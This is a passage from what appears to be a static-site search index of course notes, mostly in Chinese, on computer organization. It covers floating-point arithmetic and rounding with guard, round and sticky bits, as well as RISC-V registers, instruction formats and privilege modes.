16\\) demical digits of preicsion.</li> </ul>"},{"location":"NOTE/CO/wk2/#limitations","title":"Limitations","text":"<ul> <li>Overflow: The number is too big to be represented</li> <li>Underflow: The number is too small to be represented</li> </ul>"},{"location":"NOTE/CO/wk2/#floating-point-addition","title":"Floating-Point Addition","text":"<ul> <li> <p>Alignment \u7edf\u4e00\u6307\u6570\uff0c\u4e00\u822c\u5c0f\u7684\u5f80\u5927\u7684\u53d8\u3002\u56e0\u4e3a\u7cfb\u7edf\u7cbe\u5ea6\u4f4d\u6570\u6709\u9650\uff0c\u5982\u679c\u5c06\u5927\u7684\u5f80\u5c0f\u7684\u53d8\uff0c\u90a3\u53ef\u80fd\u4f1a\u56e0\u6b64\u635f\u5931\u8f83\u5927\u3002  </p> Example <p> </p> </li> <li> <p>The proper digits have to be added  </p> </li> <li>Addition of significands</li> <li>Normalization of the result</li> <li>Rounding</li> </ul> Example <p> </p> <p>FP Adder Hardware </p> <ul> <li>step 1 \u5728\u9009\u62e9\u6307\u6570\u5927\u7684\uff0c\u5e76\u8fdb\u884c\u5bf9\u9f50\u3002\u540c\u65f6\u5c3e\u6570\u53ef\u80fd\u8fd8\u8981\u52a0\u4e0a\u524d\u5bfc 1. </li> <li>step 3 \u662f\u5bf9\u7ed3\u679c\u8fdb\u884c\u6807\u51c6\u5316\u3002</li> <li>\u84dd\u8272\u7ebf\u4e3a\u63a7\u5236\u901a\u8def\uff0c\u9ed1\u8272\u7ebf\u4e3a\u6570\u636e\u901a\u8def\u3002</li> </ul>"},{"location":"NOTE/CO/wk2/#floating-point-multiplication","title":"Floating-Point Multiplication","text":"<p>\\((s1\\cdot 2^{e1}) \\cdot (s2\\cdot 2^{s2}) = (s1\\cdot s2)\\cdot 2^{e1+e2}\\)</p> <ul> <li>Add exponents</li> <li>Multiply the significands</li> <li>Normalize</li> <li>Over/Underflow? \u6709\u7684\u8bdd\u8981\u629b\u51fa\u5f02\u5e38\uff0c\u901a\u8fc7\u7ed3\u679c\u7684\u6307\u6570\u5224\u65ad\u3002</li> <li>Rounding</li> <li>Sign</li> </ul> <p>\u6ce8\u610f</p> <p>Exponet \u4e2d\u662f\u6709 Bias \u7684\uff0c\u4e24\u4e2a\u6570\u7684 exp \u90e8\u5206\u76f8\u52a0\u540e\u8fd8\u8981\u518d\u51cf\u53bb Bias. </p> Example <p> </p> <p>Data Flow</p> <ul> <li>\u53f3\u8fb9\u5f80\u56de\u7684\u7bad\u5934: Rounding \u540e\u53ef\u80fd\u4f1a\u8fdb\u4f4d\u3002</li> <li>Incr \u7528\u4e8e\u6807\u51c6\u5316\u7ed3\u679c\uff0c\u4e0e\u53f3\u4fa7 Shift Right \u914d\u5408\u3002</li> </ul>"},{"location":"NOTE/CO/wk2/#accurate-arithmetic","title":"Accurate Arithmetic","text":"<ul> <li>Extra bits of precision (guard, round, sticky)<ul> <li>guard, round \u4e3a\u4e86\u4fdd\u8bc1\u56db\u820d\u4e94\u5165\u7684\u7cbe\u5ea6\u3002 \u7ed3\u679c\u6ca1\u6709\uff0c\u53ea\u5728\u8fd0\u7b97\u7684\u8fc7\u7a0b\u4e2d\u4fdd\u7559</li> <li>sticky \u672b\u5c3e\u5982\u679c\u4e0d\u4e3a\u5168 0, \u5219 sticky \u4f4d\u4e3a 1, \u5426\u5219\u4e3a 0.</li> </ul> </li> </ul> <p>Example</p> <p>Guard, round, sticky \u4f4d\u7684\u4f5c\u7528 \u4fdd\u7559\u4f4d\u548c\u820d\u5165\u4f4d\u7684\u4f5c\u7528\u53ef\u4ee5\u63d0\u9ad8\u7cbe\u5ea6\uff0c\u4f8b\u5982\u5341\u8fdb\u5236\u4e2d\u5982\u679c\u52a0\u4e0a\u820d\u5165\u4f4d\uff0c\u90a3\u4e48\u572851\u548c99\u4e4b\u95f4\u7684\u4f1a\u5411\u4e0a\u820d\u5165\uff0c\u800c\u572850\u548c00\u4e4b\u95f4\u7684\u4f1a\u5411\u4e0b\u820d\u5165\uff0c\u8fd9\u6837\u53ef\u4ee5\u51cf\u5c11\u8bef\u5dee\u3002 \u4f8b\u59822.34+0.0256=2.3656,\u820d\u5165\u4e3a2.37\uff0c\u800c2.34+0.02=2.36\uff0c\u820d\u5165\u4e3a2.36\uff0c\u5b58\u57281ulp\u7684\u8bef\u5dee\uff1b \u5728\u6709\u4e9b\u60c5\u51b5\u4e0b\uff0c\u7ed3\u679c\u5de6\u79fb\u4e4b\u540e\u5c06\u4fdd\u62a4\u4f4d\u53d8\u6210\u4e86\u6700\u4f4e\u4f4d\uff0c\u53ea\u5269\u4e0b\u820d\u5165\u4f4d\u4e00\u4f4d\u6765\u8fdb\u884c\u820d\u5165\uff0c\u8fd9\u6837\u4f1a\u5bfc\u81f4\u8bef\u5dee\u589e\u5927\uff0c\u800c\u52a0\u4e0asticky\u4f4d\uff0c\u53ef\u4ee5\u4fdd\u8bc1\u5728\u820d\u5165\u4f4d\u540e\u9762\u7684\u4f4d\u6570\u4e0d\u4e3a0\u65f6\uff0c\u820d\u5165\u4f4d\u4e0d\u4f1a\u88ab\u820d\u53bb\uff0c\u4ece\u800c\u63d0\u9ad8\u7cbe\u5ea6\u3002\u4f8b\u5982\u5982\u679c\u662f2.34+0.0050001\uff0c\u5982\u679c\u6ca1\u6709sticky\u4f4d\uff0c\u90a3\u4e48\u7ed3\u679c\u662f2.3450\uff0c\u820d\u5165\u5230\u6700\u8fd1\u7684\u5076\u65702.34\uff0c\u800c\u6709\u4e86sticky\u4f4d\uff0c\u77e5\u9053\u7ed3\u679c\u662f\u6bd42.3450\u5927\uff0c\u820d\u5165\u5230\u6700\u8fd1\u7684\u5076\u65702.35\u3002</p> <p>\u5728\u4e8c\u8fdb\u5236\u4e2d\uff0c\u5c31\u662f1\u8fdb0\u820d\uff0c\u4f8b\u5982\u5c0f\u6570\u70b9\u540e\u7b2c\u4e09\u4f4d\u4e3a\u6700\u4f4e\u4f4d\u76841.100_10+0.000_00_11111=1.100_10\uff0c\u6b64\u65f6Guard\u4f4d\u4e3a1\uff0cRound\u4f4d\u4e3a0\uff0cSticky\u4f4d\u4e3a1,\u5982\u679c\u6ca1\u6709sticky\u4f4d\uff0c\u90a3\u4e48\u7ed3\u679c\u5c31\u662f\u820d\u5165\u5230\u6700\u8fd1\u7684\u5076\u65701.100\uff0c\u800c\u6709\u4e86sticky\u4f4d\uff0c\u77e5\u9053\u7ed3\u679c\u662f\u6bd41.100_10\u5927\uff0c\u820d\u5165\u52301.101\u3002</p> <p>Key-point</p> <p>\u603b\u7684\u6765\u8bf4\uff0cG\u4f4d\u5982\u679c\u7b49\u4e8e\u8fdb\u5236\u7684\u4e00\u534a\uff0c\u5219\u770b\u5b83\u7684\u4e0b\u4e00\u4f4dR\u4f4d\uff0c\u5982\u679cR\u4f4d\u5927\u4e8e0\u4e86\uff0c\u90a3\u4e48\u8fdb\u4f4d\uff0c\u5982\u679c\u4e3a0\uff0c\u90a3\u4e48\u770bS\u4f4d\uff0c\u5982\u679cS\u4f4d\u5927\u4e8e0\uff0c\u90a3\u4e48\u8fdb\u4f4d\u3002\u5982\u679cRS\u4f4d\u90fd\u662f0\u4e86\uff0c\u90a3\u4e48\u9009\u62e9\u6700\u8fd1\u7684\u5076\u6570\u6765\u8fdb\u4f4d\u3002(LSB\u662f\u5947\u6570\uff0c\u8fdb\u4f4d\uff1bLSB\u662f\u5076\u6570\uff0c\u820d\u53bb\u5c41\u80a1\u540e\u9762\u7684)</p> <p>\u635f\u5931\u4e0d\u4f1a\u8d85\u8fc7 0.5 \u4e2a ulp. </p>"},{"location":"NOTE/CO/wk2/#instruction","title":"instruction","text":"\u5bc4\u5b58\u5668 ABI \u540d\u79f0 \u7528\u9014\u63cf\u8ff0 saver x0 zero \u786c\u4ef6 0 x1 ra \u8fd4\u56de\u5730\u5740\uff08return address\uff09 caller x2 sp \u6808\u6307\u9488\uff08stack pointer\uff09 callee x3 gp \u5168\u5c40\u6307\u9488\uff08global pointer\uff09 x4 tp \u7ebf\u7a0b\u6307\u9488\uff08thread pointer\uff09 x5 t0 \u4e34\u65f6\u53d8\u91cf/\u5907\u7528\u94fe\u63a5\u5bc4\u5b58\u5668\uff08alternate link reg\uff09 caller x6-7 t1-2 \u4e34\u65f6\u53d8\u91cf caller x8 s0/fp \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668/\u5e27\u6307\u9488\uff08frame pointer\uff09 callee x9 s1 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x10-11 a0-1 \u51fd\u6570\u53c2\u6570/\u8fd4\u56de\u503c caller x12-17 a2-7 \u51fd\u6570\u53c2\u6570 caller x18-27 s2-11 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x28-31 t3-6 \u4e34\u65f6\u53d8\u91cf caller <ul> <li>R-Type: add, sub, and, or, xor, slt, srl, sll, sra, sltu</li> <li>I-Type: addi, andi, ori, xori, srli, slti, slli, srai, sltiu, lb, lh, lw, lbu, lhu, jalr,(CSR\u6307\u4ee4\u4e0eecall, ebreak\u7b49\u6309I\u578b\u7acb\u5373\u6570\u5904\u7406\uff0c\u4f46\u662fOPCODE\u662fsystem)</li> <li>S-Type: sb, sh, sw</li> <li>B-Type: beq, bne, blt, bge, bltu, bgeu</li> <li>J-Type: jal</li> <li>U-Type: lui, auipc</li> </ul> R-typeI-typeB-typeU-typeJ-typeS-type <p> 31 25 24 20 19 15 14 12 11 7 6 0 funct7 rs2 rs1 funct3 rd opcode </p> <p><code>rd = rs1 op rs2</code>,\u6709\u65f6\u5019<code>rs1</code>,<code>rs2</code>,\u53c8\u79f0\u4e3a<code>rs</code>,<code>rt</code></p> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 funct3 rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a  <pre><code> imm={{20{inst[31]}}, inst[31:20]}\n</code></pre></p> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 funct3 imm[4:1,11] opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{19{inst[31]}}, inst[31], inst[7], inst[30:25], inst[11:8], 1'b0}\n</code></pre> \u6700\u4f4e\u4f4d\u4e3a0\uff0c\u4e0d\u5b58\uff1b\u6269\u5c55\u5230imm[12]\u4f4d\uff1b\u5c0613\u4f4d\u62fc\u63a5\u5b8c\u540e\uff0c\u5269\u4e0b\u9ad819\u4f4d\u7528<code>inst[31]</code>\u7b26\u53f7\u4f4d\u586b\u5145,\u6b64\u65f6imm[11]\u53ef\u4ee5\u4e0d\u662f\u7b26\u53f7\u4f4d\uff1bimm[12]\u662f\u7b26\u53f7\u4f4d</p> <p> 31 12 11 7 6 0 imm[31:12] rd opcode </p> <p>\u6ca1\u6709\u6e90\u64cd\u4f5c\u6570\uff0c\u53ea\u6709\u76ee\u7684\u64cd\u4f5c\u6570\uff0c\u7acb\u5373\u6570\u4e3a <pre><code>imm={inst[31:12], 12'b0}\n</code></pre></p> <p> 31 12 11 7 6 0 imm[20,10:1,11,19:12] rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{11{inst[31]}}, inst[31], inst[19:12], inst[20], inst[30:21], 1'b0}\n</code></pre> <code>imm</code>\u6700\u4f4e\u4f4d0\u4e0d\u5b58\uff0c\u6b64\u65f6<code>imm[20]</code>\u662f\u7b26\u53f7\u4f4d\uff0c<code>imm</code>\u76f8\u5f53\u4e8e21\u4f4d\u6709\u7b26\u53f7\u6570 ,\u8df3\u8f6c\u8303\u56f4\u662f\\(\\pm 2^{20}\\)</p> <p>store \u7c7b\u6307\u4ee4\uff0c\u5c06\u5bc4\u5b58\u5668\u4e2d\u7684\u6570\u636e\u5b58\u50a8\u5230\u5185\u5b58\u4e2d\uff0c\u5b58\u50a8\u7684\u5927\u5c0f\u7531<code>func3</code>\u51b3\u5b9a,\u6ca1\u6709<code>rd</code>\u5bc4\u5b58\u5668  31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 funct3 imm[4:0] opcode  \u7acb\u5373\u6570\u4e3a <pre><code>imm = {{20{inst[31]}}, inst[31:25], inst[11:7]}\n</code></pre> \u5c06<code>rd</code>\u76845\u4f4d\u548c<code>func7</code>\u76847\u4f4d\u4e00\u517112\u4f4d\u7ec4\u5408\u6210\u4e00\u4e2a\u7acb\u5373\u6570</p> <p>RISC-V \u6307\u4ee4\u96c6\u6709\u4e09\u79cd\u7279\u6743\u6a21\u5f0f\uff0c\u5206\u522b\u662f Machine\uff08M\uff09\u3001Supervisor\uff08S\uff09\u548c User\uff08U\uff09\uff0c\u9664\u6b64\u4e4b\u5916\u8fd8\u6709 Hypervisor\uff08H\uff09\u6a21\u5f0f</p> \u7b49\u7ea7 \u7f16\u7801 \u540d\u79f0 \u7f29\u5199 0 00 User/Application U 1 01 Supervisor S 2 10 Hypervisor H 3 11 Machine M <ul> <li>M \u6a21\u5f0f\u662f\u5bf9\u786c\u4ef6\u64cd\u4f5c\u7684\u62bd\u8c61\uff0c\u6709\u6700\u9ad8\u7ea7\u522b\u7684\u6743\u9650\u3002</li> <li>S \u6a21\u5f0f\u4ecb\u4e8eM\u6a21\u5f0f\u548cU\u6a21\u5f0f\u4e4b\u95f4\uff0c\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u5bf9\u5e94\u4e8e\u5185\u6838\u6001\uff08Kernel\uff09\u3002\u5f53\u7528\u6237\u9700\u8981\u5185\u6838\u8d44\u6e90\u65f6\uff0c\u5411\u5185\u6838\u7533\u8bf7\uff0c\u5e76\u5207\u6362\u5230\u5185\u6838\u6001\u8fdb\u884c\u5904\u7406\u3002</li> <li>U \u6a21\u5f0f\u7528\u4e8e\u6267\u884c\u7528\u6237\u7a0b\u5e8f\uff0c\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u5bf9\u5e94\u4e8e\u7528\u6237\u6001\uff0c\u6709\u6700\u4f4e\u7ea7\u522b\u7684\u6743\u9650\u3002</li> </ul> <p>\u7b80\u5355\u5d4c\u5165\u5f0f\u7cfb\u7edf\u5e94\u8be5\u81f3\u5c11\u6709 M \u6a21\u5f0f\uff0c\u5b89\u5168\u7684\u5d4c\u5165\u5f0f\u7cfb\u7edf\u81f3\u5c11\u8981\u6709 M\u3001U \u4e24\u4e2a\u6a21\u5f0f\uff0cUnix-like \u64cd\u4f5c\u7cfb\u7edf\u81f3\u5c11\u8981\u6709 M\u3001S\u3001U \u4e09\u4e2a\u6a21\u5f0f\u3002</p> <p>\u7279\u6743\u6a21\u5f0f\u7528\u6765\u5206\u79bb\u3001\u4fdd\u62a4\u4e0d\u540c\u7684\u8fd0\u884c\u73af\u5883\u3002\u8bd5\u56fe\u5728\u4f4e\u7279\u6743\u6a21\u5f0f\u4e0b\u6267\u884c\u9ad8\u7279\u6743\u6a21\u5f0f\u7684\u6307\u4ee4\u4f1a\u5bfc\u81f4\u5f02\u5e38\u3002</p> <p>\u4e00\u4e2a hart\uff08RISC-V hardware thread\uff0c\u6307 RISC-V \u5904\u7406\u5668\u7684\u4e00\u4e2a\u6267\u884c\u5355\u5143\uff09\u4e00\u822c\u5728 U \u6a21\u5f0f\u4e0b\u8fd0\u884c\u5e94\u7528\u7a0b\u5e8f\uff0c\u76f4\u5230\u9047\u5230 trap\uff08\u6bd4\u5982\u7cfb\u7edf\u8c03\u7528\u3001\u65f6\u95f4\u4e2d\u65ad\u7b49\uff09\uff0c\u8fd9\u65f6 hart \u4f1a\u5207\u6362\u5230\u66f4\u9ad8\u7279\u6743\u7ea7\u7684 trap handler\uff0c\u6267\u884c\u5b8c\u540e\u518d\u5207\u6362\u56de\u4f4e\u6743\u9650\u6a21\u5f0f\u7ee7\u7eed\u6267\u884c\u3002</p> <p>\u9664\u6b64\u4e4b\u5916\uff0cRISC-V \u8fd8\u89c4\u5b9a\u4e86 Debug mode\uff08D-mode\uff09\uff0c\u7528\u4e8e\u8c03\u8bd5\uff0c\u5b83\u6bd4 M \u6a21\u5f0f\u6709\u66f4\u9ad8\u7684\u6743\u9650\uff0c\u6709\u4e00\u4e9b\u53ea\u6709 D \u6a21\u5f0f\u624d\u53ef\u4ee5\u8bbf\u95ee\u7684 CSR \u5bc4\u5b58\u5668\uff0c\u4e5f\u4f1a\u4fdd\u7559\u4e00\u4e9b\u7269\u7406\u5730\u5740\u7a7a\u95f4\u3002</p>"},{"location":"NOTE/CO/wk3/","title":"Instructions: Language of the Computer","text":"<p> \u7ea6 2804 \u4e2a\u5b57  5 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 10 \u5206\u949f</p> <p>Thanks</p> <p>\u672c\u8282\u7b14\u8bb0\u4e2d\u4f7f\u7528\u5230\u7684RISC-V\u6307\u4ee4\u8868\u683c\u6837\u5f0f\u6765\u81ea@TonyCrane </p>"},{"location":"NOTE/CO/wk3/#introduction","title":"Introduction","text":"<ul> <li> <p>Language of  the machine</p> <ul> <li>Instructions(\u6307\u4ee4)</li> <li>Instruction set(\u6307\u4ee4\u96c6)</li> </ul> </li> <li> <p>Computer Designer  goals</p> <ul> <li>Find a language that makes it easy to build hardware and compiler.(\u7b80\u5355\u6613\u7528)</li> <li>Maximize performance(\u540c\u6837\u7684\u8d44\u6e90\u6027\u80fd\u66f4\u597d)</li> <li>Minimize cost &amp; energy (\u540c\u6837\u7684\u6027\u80fd\u6210\u672c\u66f4\u4f4e)</li> <li>Clarity of its application  (\u6613\u7528)</li> <li>Simplicity:  reduce design time (\u4fbf\u4e8e\u8bbe\u8ba1)</li> </ul> </li> </ul> <p>Our chosen instruction set: RISC V</p> \u5404\u79cd\u6307\u4ee4\u96c6\u7684\u533a\u522b <p></p> <p>Von Neumann\u2019 Computer</p> <p>\u5982\u4eca\u7684\u8ba1\u7b97\u673a\u662f\u57fa\u4e8e\u4e24\u4e2a\u6838\u5fc3\u539f\u7406\u6784\u5efa\u7684\uff1a\u5b58\u50a8\u7a0b\u5e8f\u6982\u5ff5\u3002 \u8fd9\u4e24\u4e2a\u539f\u7406\u5206\u522b\u662f\uff1a</p> <ul> <li>\u6307\u4ee4\u88ab\u8868\u793a\u4e3a\u6570\u5b57\uff1b</li> <li>\u7a0b\u5e8f\u53ef\u4ee5\u50cf\u6570\u5b57\u4e00\u6837\u5b58\u50a8\u5728\u5185\u5b58\u4e2d\uff0c\u4ee5\u4fbf\u8bfb\u53d6\u6216\u5199\u5165\u3002</li> </ul> <p>\u56db\u4e2a\u8bbe\u8ba1\u7406\u5ff5\uff1a</p> <ol> <li>Simplicity favors regularity \u6307\u4ee4\u96c6\u7684\u8bbe\u8ba1\u5e94\u8be5\u5c3d\u53ef\u80fd\u7b80\u5355\uff0c\u89c4\u5219\u3002</li> <li>Smaller is faster \u5c3d\u53ef\u80fd\u51cf\u5c11\u6307\u4ee4\u96c6\u7684\u5927\u5c0f\uff0c\u4ee5\u4fbf\u63d0\u9ad8\u901f\u5ea6\u3002</li> <li>Good design demands good compromises \u8bbe\u8ba1\u6307\u4ee4\u96c6\u65f6\uff0c\u9700\u8981\u6743\u8861\u5404\u79cd\u56e0\u7d20\u3002</li> <li>Make the common case fast \u4f18\u5316\u5e38\u89c1\u60c5\u51b5\u7684\u6267\u884c\u901f\u5ea6\u3002</li> </ol> <p>\u5f53\u8bbe\u8ba1ISA\u65f6\uff0c\u9700\u8981**\u786c\u4ef6\u7b80\u5355--\u8ba9\u82af\u7247\u53ea\u5b9e\u73b0\u57fa\u672c\u7684\u539f\u8bed\u5e76\u80fd\u5feb\u901f\u8fd0\u884c**\uff0c\u6307\u4ee4\u8981\u89c4\u6574</p>"},{"location":"NOTE/CO/wk3/#instruction-characteristics","title":"Instruction characteristics","text":"<p>\u6307\u4ee4\u96c6\u7684\u57fa\u672c\u7ed3\u6784</p> <p>operator+operands</p> <p>Note</p> <p>\u4e0d\u540c\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5b57\u7684\u957f\u5ea6\u4e0d\u540c\uff0c\u6bd4\u598232\u4f4d\u7cfb\u7edf\uff0c\u5b57\u957f\u4e3a32\u4f4d(4 Byte)\uff0c64\u4f4d\u7cfb\u7edf\uff0c\u5b57\u957f\u4e3a64\u4f4d(8 Byte)\u3002</p> <p>\u8fb9\u754c\u5bf9\u9f50\u9001\u5730\u5740\uff0c\u6700\u540e\u4e24\u4f4d\u662f00</p>"},{"location":"NOTE/CO/wk3/#risc-v","title":"RISC-V \u6307\u4ee4\u96c6","text":"\u5bc4\u5b58\u5668 ABI \u540d\u79f0 \u7528\u9014\u63cf\u8ff0 saver x0 zero \u786c\u4ef6 0 x1 ra \u8fd4\u56de\u5730\u5740\uff08return address\uff09 caller x2 sp \u6808\u6307\u9488\uff08stack pointer\uff09 callee x3 gp \u5168\u5c40\u6307\u9488\uff08global pointer\uff09 x4 tp \u7ebf\u7a0b\u6307\u9488\uff08thread pointer\uff09 x5 t0 \u4e34\u65f6\u53d8\u91cf/\u5907\u7528\u94fe\u63a5\u5bc4\u5b58\u5668\uff08alternate link reg\uff09 caller x6-7 t1-2 \u4e34\u65f6\u53d8\u91cf caller x8 s0/fp \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668/\u5e27\u6307\u9488\uff08frame pointer\uff09 callee x9 s1 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x10-11 a0-1 \u51fd\u6570\u53c2\u6570/\u8fd4\u56de\u503c caller x12-17 a2-7 \u51fd\u6570\u53c2\u6570 caller x18-27 s2-11 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x28-31 t3-6 \u4e34\u65f6\u53d8\u91cf caller <p>RISC-V \u6307\u4ee4\u96c6\u7684\u7c7b\u578b</p> R-typeI-typeS-typeB-typeU-typeJ-type <p>R-type\u6307\u4ee4\u662f\u6307\u4ee4\u96c6\u4e2d\u7684\u4e00\u79cd\u7c7b\u578b\uff0c\u5b83\u4eec\u7684\u64cd\u4f5c\u7801\u5b57\u6bb5\u662f\u56fa\u5b9a\u7684\uff0c\u800c\u5269\u4f59\u7684\u5b57\u6bb5\u5219\u6839\u636e\u6307\u4ee4\u7684\u5177\u4f53\u529f\u80fd\u800c\u53d8\u5316\u3002R-type\u6307\u4ee4\u901a\u5e38\u7528\u4e8e\u6267\u884c\u7b97\u672f\u8fd0\u7b97\u548c\u903b\u8f91\u8fd0\u7b97\u7b49\u64cd\u4f5c;R-type\u6307\u4ee4\u7684\u683c\u5f0f\u5982\u4e0b\u6240\u793a\uff1a  31 25 24 20 19 15 14 12 11 7 6 0 funct7 rs2 rs1 funct3 rd opcode </p> <p><code>rd = rs1 op rs2</code>,\u6709\u65f6\u5019<code>rs1</code>,<code>rs2</code>,\u53c8\u79f0\u4e3a<code>rs</code>,<code>rt</code></p> R-type\u6307\u4ee4 Instruction Name Meaning ADD Addition Adds two values and stores the result in the destination register. SUB Subtraction Subtracts the second value from the first and stores the result in the destination register. SLT Set Less Than Sets the destination register to 1 if the first value is less than the second (signed), otherwise sets to 0. SLTU Set Less Than Unsigned Sets the destination register to 1 if the first value is less than the second (unsigned), otherwise sets to 0. AND Logical AND Performs a bitwise AND operation between two values and stores the result in the destination register. OR Logical OR Performs a bitwise OR operation between two values and stores the result in the destination register. XOR Logical XOR Performs a bitwise XOR (exclusive OR) operation between two values and stores the result. SLL Shift Left Logical Shifts the bits of the first value to the left by the number of positions specified by the second value, filling with zeros. SRL Shift Right Logical Shifts the bits of the first value to the right by the number of positions specified, filling with zeros. SRA Shift Right Arithmetic Shifts the bits of the first value to the right by the number of positions specified, maintaining the sign bit. <p>\u5e38\u89c1\u7684R-type\u6307\u4ee4</p> ADDSUBSLTSLTUANDORXORSLLSRLSRA <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 000 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>ADD rd,rs1,rs2</code> <code>rd = rs1 + rs2</code></li> <li>\u6ea2\u51fa\u5c06\u4f1a\u88ab\u5ffd\u7565</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0100000 rs2 rs1 000 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SUB rd,rs1,rs2</code> <code>rd = rs1 - rs2</code></li> <li>\u6ea2\u51fa\u5c06\u4f1a\u88ab\u5ffd\u7565</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 010 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SLT rd,rs1,rs2</code> <code>rd = ($signed(rs1) &lt; $signed(rs2)) ? 1 : 0</code></li> <li>\u6709\u7b26\u53f7\u6570\u7684\u6bd4\u8f83</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 011 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SLTU rd,rs1,rs2</code> <code>rd = (rs1 &lt; rs2) ? 1 : 0</code></li> <li>\u8fdb\u884c\u65e0\u7b26\u53f7\u6570\u7684\u6bd4\u8f83</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 111 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>AND rd,rs1,rs2</code> <code>rd = rs1 &amp; rs2</code></li> <li>\u6309\u4f4d\u7684\u4e0e\u64cd\u4f5c</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 110 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>OR rd,rs1,rs2</code> <code>rd = rs1 | rs2</code></li> <li>\u6267\u884c\u6309\u4f4d\u6216\u64cd\u4f5c</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 100 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>XOR rd,rs1,rs2</code> <code>rd = rs1 ^ rs2</code></li> <li>\u6267\u884c\u6309\u4f4d\u5f02\u6216\u64cd\u4f5c</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 001 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SLL rd,rs1,rs2</code> <code>rd = rs1 &lt;&lt; rs2[4:0]</code></li> <li>\u903b\u8f91\u5de6\u79fb</li> <li>\u53d6<code>rs2</code>\u7684\u4f4e\u4e94\u4f4d\u8fdb\u884c\u8fd0\u7b97</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 101 rd 0110011 </p> <ul> <li>\u6307\u4ee4\u683c\u5f0f: <code>srl rd,rs1,rs2</code>,<code>rd=rs1&gt;&gt;rs2[4:0]</code></li> <li>\u53d6 <code>rs2</code> \u7684\u4f4e5\u4f4d</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0100000 rs2 rs1 101 rd 0110011 </p> <ul> <li>\u6307\u4ee4\u683c\u5f0f<code>sra rd,rs1,rs2</code>;<code>rd = $signed(rs1) &gt;&gt;&gt; rs2[4:0]</code></li> <li>\u7b97\u6570\u53f3\u79fb\uff0c\u9ad8\u4f4d\u8865\u7b26\u53f7\u4f4d(\u4e3a\u4ec0\u4e48\u6ca1\u6709\u7b97\u6570\u5de6\u79fb,\u56e0\u4e3a\u6ca1\u610f\u4e49) </li> </ul> <p>\u4f7f\u7528\u5bc4\u5b58\u5668\u548c\u7acb\u5373\u6570\u8fdb\u884c\u6570\u5b57\u903b\u8f91\u8fd0\u7b97\uff0c\u4ee5\u53ca load \u7c7b\u6307\u4ee4\u7b49\u7684\u6307\u4ee4\u683c\u5f0f\u5982\u4e0b\uff1a  31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 funct3 rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a  <pre><code> imm={{20{inst[31]}}, inst[31:20]}\n</code></pre> \u5373\u5c06\u7acb\u5373\u6570\u7684\u6700\u9ad8\u4f4d\u7b26\u53f7\u4f4d\u8fdb\u884c\u6269\u5c55\u523032\u4f4d</p> <p>\u5e38\u89c1\u7684I-type\u6307\u4ee4</p> ADDISLTISLTIUANDIORIXORISLLISRLISRAIJALRLBlhLWLBULHUecallebreak <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 000 rd 0010011 </p> <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1a<code>addi rd, rs1, imm</code> <code>rd = rs1 + imm</code></li> <li><code>imm</code>  \u8303\u56f4\u4e3a12\u4f4d\u6709\u7b26\u53f7\u6570\u5b57-2048~2047</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 010 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>slti rd,rs1,imm</code> <code>rd = ($signed(rs1) &lt; $signed(imm)) ? 1 : 0</code></li> <li>\u6709\u7b26\u53f7\u6570\u7684\u6bd4\u8f83</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 011 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>sltiu rd,rs1,imm</code> <code>rd = (rs1 &lt; imm) ? 1 : 0</code></li> <li>\u8fdb\u884c\u65e0\u7b26\u53f7\u6570\u7684\u6bd4\u8f83,<code>rs1</code>\u548c<code>imm</code>\u90fd\u662f\u65e0\u7b26\u53f7\u6570</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 111 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>andi rd,rs1,imm</code> <code>rd = rs1 &amp; imm</code></li> 